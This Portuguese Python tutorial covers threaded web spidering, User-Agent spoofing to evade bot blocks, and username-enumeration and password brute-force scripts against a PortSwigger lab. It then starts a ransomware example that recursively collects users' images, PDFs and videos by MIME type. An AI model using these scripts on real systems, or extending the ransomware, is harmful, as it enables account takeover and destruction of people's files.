Podemos também adicionar threads no programa, primeiramente, retire as linkas re, html e soup e coloque elas na função findLinks, assim:
def findLinks(url):
re = requests.get(url)
html = re.text
soup = BeautifulSoup(html, "html.parser")
# Os fors ficarão tudo aqui embaixo
Daí, basta retirar todas as variáveis iguais a elas do código, deixando apenas a invocação da função findLinks, assim:
findLinks(url)
Pra implementar as threads, importe threading, e altere a invocação dentro do for assim:
th = threading.Thread(target = findLinks, args = (url,)) # Importe threading
th.start()
Mas ele vai trabalhar com um monte de requisições e vai dar uns problemas. Para isso, podemos adicionar um semáforo, no começo do código, antes das funções, coloque apenas isso:
global semaforo
semaforo = threading.Semaphore(3)
E na função findLinks, identar tudo dentro do with semaforo, assim:
def findLinks(url):
with semaforo:
cont = 0
while True:
try:
re = requests.get(url)
break
except requests.exceptions.SSLError:
try:
re = requests.get(url, verify = False)
break
except requests.exceptions.ConnectionError:
time.sleep(2)
except requests.exceptions.ConnectionError:
time.sleep(2) # Importe time
if cont == 4:
return 0 # Sai da função
cont += 1
html = re.text
soup = BeautifulSoup(html, "html.parser")
# O restante continua a mesma coisa, só que identado
É muito comum a gente ter bloqueios de bots, que podem ser um problema no spider. Vamos supor esse simples programa:
import requests
re = requests.get("https://4d3358.com/spider/pagina1/bot.php")
print(re.text)
O user agent passado é algo como python-requests/2.32.3
, quando acessamos o mesmo por um browser, ele já retorna algo como isso:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Com isso, podemos ver que alguns sites bloqueiam bots de scripts como o Python, justamente pra evitar ataques do tipo.
Pra passar um user agent qualquer, podemos fazer assim:
import requests
hd = {"User-Agent": "Seu User Agent aqui"}
re = requests.get("https://4d3358.com/spider/pagina1/bot.php", headers = hd)
print(re.text)
Daí, é só passar qualquer user-agent, como o exemplificado acima.
hd = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"}
Mas pode ser que o site tenha uma proteção para, por exemplo, ocultar e-mails e telefones de sites, algo de proteção das próprias hospedagens, até mesmo no Inspecionar Elemento do navegador pode ser bloqueado, porque a página só exibe os dados se processarem Javascript.
Uma forma mais eficiente de burlar esse tipo de bot, é utilizar um Captcha.
Depois, acesse o laboratório dele indo aqui e procure o "Username enumeration via different responses": https://portswigger.net/web-security/all-labs#authentication
Clique em Access the Lab e ele abrirá o site de exemplo pra testarmos.
Entre na página de login e digite um nome de usuário e senha qualquer pra ver se ele mostra alguma mensagem de erro de login. Com isso podemos fazer esse programa:
import requests
url = "https://0a2d007404c984d28049178f00fc0031.web-security-academy.net/login"
form = {"username": "carlos", "password": "123"}
hd = {"Content-Type": "application/x-www-form-urlencoded"}
re = requests.post(url, data = form, headers = hd)
print(re.text)
Daí, é só ver se no HTML ele também retorna o texto de login inválido. Deixe o código assim:
import requests
url = "https://0a2d007404c984d28049178f00fc0031.web-security-academy.net/login"
user = "carlos"
form = {"username": user, "password": "123"}
hd = {"Content-Type": "application/x-www-form-urlencoded"}
re = requests.post(url, data = form, headers = hd)
if "Invalid username" not in re.text:
print(user)
Salve essa wordlist e altere o código assim:
import requests
url = "https://0a2d007404c984d28049178f00fc0031.web-security-academy.net/login"
hd = {"Content-Type": "application/x-www-form-urlencoded"}
with open("wordlist-users.txt") as arqUser:
for u in arqUser.readlines():
u = u.replace("\n", "")
print(f"Testando {u}", end = "")
form = {"username": u, "password": "123"}
re = requests.post(url, data = form, headers = hd)
print(" " * 30, end = "\r")
if "Invalid username" not in re.text:
print(u)
break
No caso, ele só vai exibir se o usuário existir no banco de dados.
Daí, é só alterar assim pra ele pegar a senha, com essa wordlist:
with open("wordlist-senhas.txt") as arqPass:
for p in arqPass.readlines():
p = p.replace("\n", "")
form = {"username": "admin", "password": p}
print(f"Testando {p}", end = "")
re = requests.post(url, data = form, headers = hd)
print(" " * 30, end = "\r")
if "Incorrect password" not in re.text:
print(p)
break
Podemos fazer um exemplo tipo um ransomware pra entender como o mesmo funciona, nesse caso é preferível fazer no Windows.
Um ransomware funciona da seguinte forma, nessa ordem:
Pra listar a raiz do sistema, simplesmente fazemos isso:
import os
print(os.listdir("/"))
No caso acima, ele listará a raiz do sistema, mas colocará arquivos e pastas na mesma lista. Pra listar só as pastas, fazemos assim:
import os
for fl in os.listdir("/"):
if os.path.isdir(f"/{fl}"):
print(f"/{fl}/")
Reescrevendo com uma função:
import os
def listarDir(path):
for fl in os.listdir(path):
if os.path.isdir(f"{path}{fl}"):
print(f"{path}{fl}/")
listarDir("/")
Salvando os arquivos numa lista:
import os
def listarDir(path):
for fl in os.listdir(path):
if os.path.isdir(f"{path}{fl}"):
dirs.append(f"{path}{fl}/")
print(f"{path}{fl}/")
global dirs
dirs = list()
listarDir("/")
if len(dirs) >= 0:
print(dirs)
Depois, é só alterar o último if assim, pra listar recursivamente os diretórios:
if len(dirs) >= 0:
for d in dirs:
listarDir(d)
PS: Pode dar alguns problemas de permissão, pra isso, altere a função assim:
def listarDir(path):
try:
for fl in os.listdir(path):
if os.path.isdir(f"{path}{fl}"):
dirs.append(f"{path}{fl}/")
print(f"{path}{fl}/")
except PermissionError:
pass
Só que isso, vai fazer ele listar muitas pastas, o que pode travar o sistema. No caso, nós podemos fazer assim, pra listar apenas as pastas mais importantes, como no caso, a Users:
dirs = list()
listarDir("/Users/")
PS: Podemos remover o print da função, pra deixar o script mais leve.
Pra usar threads, podemos fazer assim:
if len(dirs) >= 0:
thrd = list()
for d in dirs:
th = threading.Thread(target = listarDir, args = (d,)) # Importe threading
thrd.append(th)
th.start()
for t in thrd:
t.join()
print("Finalizou!")
Altere a função assim e declare uma lista global pra verificar os arquivos, pela extensão:
def listarDir(path):
try:
for fl in os.listdir(path):
if os.path.isdir(f"{path}{fl}"):
dirs.append(f"{path}{fl}/")
elif fl.split(".")[-1] in ("png", "pdf", "jpg", "jpeg", "mp4"):
if os.path.isfile(f"{path}{fl}"):
files.append(f"{path}{fl}") # Sem a barra
except PermissionError:
pass
global files
files = list()
global dirs
dirs = list()
listarDir("/Users/")
E no final do código, podemos colocar um print pra mostrar os arquivos:
print("Finalizou!")
print(files)
PS: O ideal é verificar arquivos pelo MimeType, que aprenderemos mais pra frente.
A forma como mostramos anteriormente pra identificar arquivos foi pela extensão, mas isso pode ser burlado caso a extensão seja alterada, até porque pra alguns sistemas (como o Linux e os baseados em Unix no geral) a extensão não importa muito, mas sim o MimeType, que é o que o arquivo em si é.
Podemos dar um cat (Linux) ou type (Windows) num arquivo como um PNG ou um MP4, e podemos ver inúmeros caracteres incompreensíveis pra nós. Geralmente nos primeiros bytes que fica a assinatura do arquivo (isso é muito usado em engenharia reversa), e geralmente os primeiros bytes (que podem ser visualizados num programa que lê hexadecimal) identificam um arquivo (como um PNG, que qualquer arquivo do tipo tem a assinatura do começo igual, é como um header).
Veja um exemplo de um header em hexa de um arquivo JPEG, por exemplo:
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01
00 01 00 00 FF FE 00 3B 43 52 45 41 54 4F 52 3A
20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75
73 69 6E 67 20 49 4A 47 20 4A 50 45 47 20 76 36
32 29 2C 20 71 75 61 6C 69 74 79 20 3D 20 39 30
Vamos instalar duas bibliotecas no Python, a python_magic e a python_magic_bin, colocar uma imagem na pasta do projeto e criar um novo arquivo de teste assim:
import magic
fMagic = magic.Magic()
fType = fMagic.from_file("imagem.jpg")
print(fType)
Pra pegar só o MimeType, faça assim no construtor:
fMagic = magic.Magic(mime = True)
Aqui teremos a lista dos MimeTypes: https://mimetype.io/all-types
Daí, no arquivo de Ransom, basta colocar essa função aqui nele:
def checkFile(file): # Importe magic
fMagic = magic.Magic(mime = True)
fType = str(fMagic.from_file(file))
if fType in ("image/jpeg", "image/png", "image/gif", "audio/mpeg", "video/mp4", "application/pdf", "text/plain"): # Coloque vários MimeTypes
files.append(file)
E altere o if else da função listarDir assim:
for fl in os.listdir(path):
if os.path.isdir(f"{path}{fl}"):
dirs.append(f"{path}{fl}/")
else:
checkFile(f"{path}{fl}")
Como o código acima acabará dando um erro, fora de qualquer função, declare o fMagic como global, assim:
global fMagic
fMagic = magic.Magic(mime = True)
Daí, é só retirar a declaração dele na função checkFile, deixando ela assim:
def checkFile(file): # Importe magic
try:
fType = str(fMagic.from_file(file))
if fType in ("image/jpeg", "image/png", "image/gif", "audio/mpeg", "video/mp4", "application/pdf", "text/plain"): # Coloque vários MimeTypes
files.append(file)
except:
pass
Podemos melhorar a exibição, fazendo assim no lugar do último print:
for fl in files:
print(fl)